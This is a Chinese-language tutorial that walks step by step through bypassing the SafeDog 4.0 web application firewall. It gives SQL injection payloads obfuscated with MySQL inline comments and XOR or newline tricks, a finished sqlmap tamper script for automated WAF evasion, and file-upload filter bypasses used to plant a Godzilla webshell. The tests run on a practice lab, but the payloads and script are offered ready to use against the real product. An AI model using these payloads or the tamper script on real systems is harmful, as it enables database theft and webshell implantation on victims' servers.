手把手繞過安全狗

Lushun發表於2020-10-25

本文主要介紹過繞過安全狗的注入以及上傳方法,內容偏新手,大佬勿噴。。

知識點介紹

開始先將本文所使用到的繞過方法知識點列出來

1.內聯註釋繞過

在mysql的語法中,有三種註釋方法:--
#(單行註釋)和 /* */(多行註釋)如果在/*後加驚歎號!意為/* */裡的語句將被執行
image.png
在mysql中 /*! ....*/ 不是註釋,mysql為了保持相容,它把一些特有的僅在mysql上用的語句放在/*!....*/中,這樣這些語句如果在其他資料庫中是不會被執行,但在mysql中它會執行。如下語句/*!50001 select * from test */;這裡的50001表示假如 資料庫是5.00.01及以上版本,該語句才會被執行。

2.異或繞過

^沒有被過濾的時候可以利用它來測試
異或:xor^
邏輯運算就是:同假異真(兩個條件結果相同就為假,結果不同就為真)
例如:1^0 就是 1 ,1^1 就是 0
例子:
lucy' Xor '1'='1' #
如果‘lucy’存在則前後都為真則為返回假
如果’lucy‘不存在則前為假後都為真則為返回真

Xor類似當前後都為真時返回假執行後面一個表示式
如果A為真,則查出不滿足B條件資料;
如果A為假,則查出滿足B條件資料;
image.png

3.換行繞過

換行符繞過:%23%0a、%2d%2d%0a
%23 是url編碼中的 # (也就是MySQL中的行註釋符)
%0A 是url編碼中的 換行
%23 aaaa -->對應的就是 #aaaa (就相當於把這行給註釋掉了)
而再加上%0a(也就是換行符,後面的語句又能成功執行了)

測試環境

APACHE版本的安全狗版本4.0.28330,WIN10
image.png
這裡用pickachu靶場的字元型注入來測試

一、mysql注入繞過測試

通過fuzzy測試安全狗的攔截策略(字典後面附上)

and 1 (and後加數字攔截)

image.png
image.png
過狗現在很好用的是內聯註釋加引數干擾,這裡and加數字被過濾了,我們就直接將and後面的內容放進註釋符裡
image.png
這裡也可以用&來代替and或者Xor也都不攔截
lucy' & '1'='1'#
image.png
lucy' Xor '1'='1'#
image.png

order by (這裡order不攔截by不攔截,但是order後面加by會攔截)

所以我們還是用之前的內聯註釋測試繞過
image.png
image.png
發現and能過的內聯註釋到了order by就不行了。這.... 抓頭.jpg。再測試一下將order by全部放進內聯裡,也不行。
根據開頭介紹的內聯的特性,往內聯里加數字進行測試。這裡可以多準備些五位數因為一些常用的已經被狗攔了
簡單的fuzz 了一下,發現 了大量的可以繞過的版本號
10440 – 10449 13440-13449 14400-14499 15440-15449 16440-16449 17440-17449 18440-18449 等等
image.png
這裡還有一種變形,首先看到這裡一般的內聯被過濾了

lucy' /**/order /**/by #

image.png
但是可以在內聯註釋中隨機新增上一步中被狗攔截的五位數字,並隨機新增一些字母,但是必須要放在order by等關鍵字的中間,功能相當於空格.

lucy' order/*!77777cz*/by 1#

image.png

union select (union後跟select會被攔截)

union select繞過可以直接加內聯,因為安全狗看重的是關鍵字,要繞過只需要中間加些干擾就行。
但union select中間需要放兩個內聯才行,之後的都是這樣。

-1' union /*!11440 select*/ 1,2#

image.png
-1' union /!77777cz//!77777cz/ select 1,2#
image.png

user()、database() (關鍵詞跟括號會被攔截)

以前版本的在database()中間插空格符已經不管用了
tip:Mysql中可以利用的空白字元有:%09,%0a,%0b,%0c,%0d,%20,%a0
但可以用內聯繞過,直接把()放到內聯裡,或者經過簡單的變形就能過

-1'  union /*!77777cz*//*!77777cz*/ select database/*!77777a*/(),2#

image.png

select xxx from xxx (select 任意字元 from 後面跟任意字元等也會攔截)

這裡將select table_name和from information_schema.tables單獨進行測試,發現都不會被攔截,但是用select table_name,2 from information_schema.這種組合進行測試時就會被攔截。再測試select xxx from xxx發現被攔截。說明select後面跟任意字元再加上from再加上任意字元就會被攔截。
這裡只需要將select放進內聯即可繞過,也可以像之前一樣在from前面加兩個內聯/*!77777cz*/,我這裡為了簡潔就只寫一種。
查表名

-1' union  /*!11440select*/  group_concat(table_name),2 from information_schema.tables where table_schema=database/*!77777cz*/()#

image.png
還可以用mysql>5.6版本的新特性,mysql庫多了兩個新表,innodb_index_stats 和 innodb_table_stats
這兩個表是資料庫自動設定的用於記錄更改和新建立的資料庫和表的資訊,但準確的說是儲存最近的資料庫變動記錄。安全狗沒有對這兩個關鍵字進行限制。
具體怎麼查爆內容看這篇文章
查表名

1' union /*!11440select*/ group_concat(table_name),2 from mysql.innodb_index_stats where database_name=database/*!()*/#

時間盲注和報錯

經測試
sleep()不會被攔但sleep()裡面加數字就會被攔
updatexml()不會被攔,但是能執行的updatexml(1,1,0)會被攔截
都可以用內聯進行繞過

lucy ' /*!11440or*/ /*!11440sleep(3)*/#
-1'AND updatexml/*!77777cz*/(1,version(),0)#

最基本的繞過方式已經找到,但我們的目的是編寫sqlmap tamper來一鍵化過狗,先將上面的方法寫成tamper來進行測試
tamper的編寫很簡單參考這篇
我這裡簡單介紹下payload替換部分,假如在伺服器上AND被攔截,我們想用內聯註釋/!11444AND/繞過,就需要這樣寫

def tamper(payload, **kwargs):
        payload=payload.replace('AND','/*!11444AND*/')

其他的order、union、sleep等都是同樣的方法。
在測試tamper的時候將sqlmap等級調整為v3這樣可以顯示使用到的語句
image.png
測試過程中發現sqlmap在進行聯合注入測試時,會使用UNION ALL SELECT語句,同樣的UNION ALL SELECT語句也是UNION ALL不攔截,UNION ALL SELECT才會被攔截,所以也是隻需要對SELECT進行內聯註釋就行。
最後結果可以看到,所有型別的注入都可以跑出來
image.png
但是在測試查詢所有資料庫名時sqlmap會使用USER()和SESSION_USER()函式,還是用之前的方法,在字母和括號之間使用內聯USER/*!77777cz*/(),但是這樣的話SESSION_USER()函式也會被轉換成SESSION_USER/*!77777cz*/()然後就會報錯。
image.png
所以要單獨對SESSION_USER()使用另一種內聯來繞過,/!11440SESSION_USER()/
最後效果
image.png

最終tamper

#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers ([url]http://sqlmap.org/[/url])
See the file 'LICENSE' for copying permission
Author:LUSHUN
"""

import re
import os

from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS

__priority__ = PRIORITY.LOW

def dependencies():
    singleTimeWarnMessage("Bypass safedog4.0'%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

def tamper(payload, **kwargs):
        payload=payload.replace('AND','/*!11440AND*/')
        payload=payload.replace('ORDER','order/*!77777cz*/')
        payload=payload.replace("SELECT","/*!11440SELECT*/")
        payload=payload.replace("SLEEP(","sleep/*!77777cz*/(")
        payload=payload.replace("UPDATEXML(","UPDATEXML/*!77777cz*/(")
        payload=payload.replace("SESSION_USER()","/*!11440SESSION_USER()*/")
        payload=payload.replace("USER())","USER/*!77777cz*/())")
        payload=payload.replace("DATABASE()","DATABASE/*!77777cz*/()")
        return payload

二、繞過上傳測試

安全狗的上傳限制措施是黑名單。
我這裡用一個哥斯拉馬來做測試,看到上傳檔案伺服器直接報500
image.png
方法一:等號繞過
在filename後多新增兩個等號
image.png
方法二:換行繞過
在檔案字尾名處換行
image.png
方法三:填充垃圾字元
在Content-Disposition欄位後新增垃圾資料,來繞過對檔名的校驗
image.png
tip:一些對檔案內容進行檢測的waf也可以用這種方法繞過,新增在檔案內容的開頭
在測試過程中還發現安全狗日誌警報
image.png
說明安全狗對Content-Type也是有限制

相關文章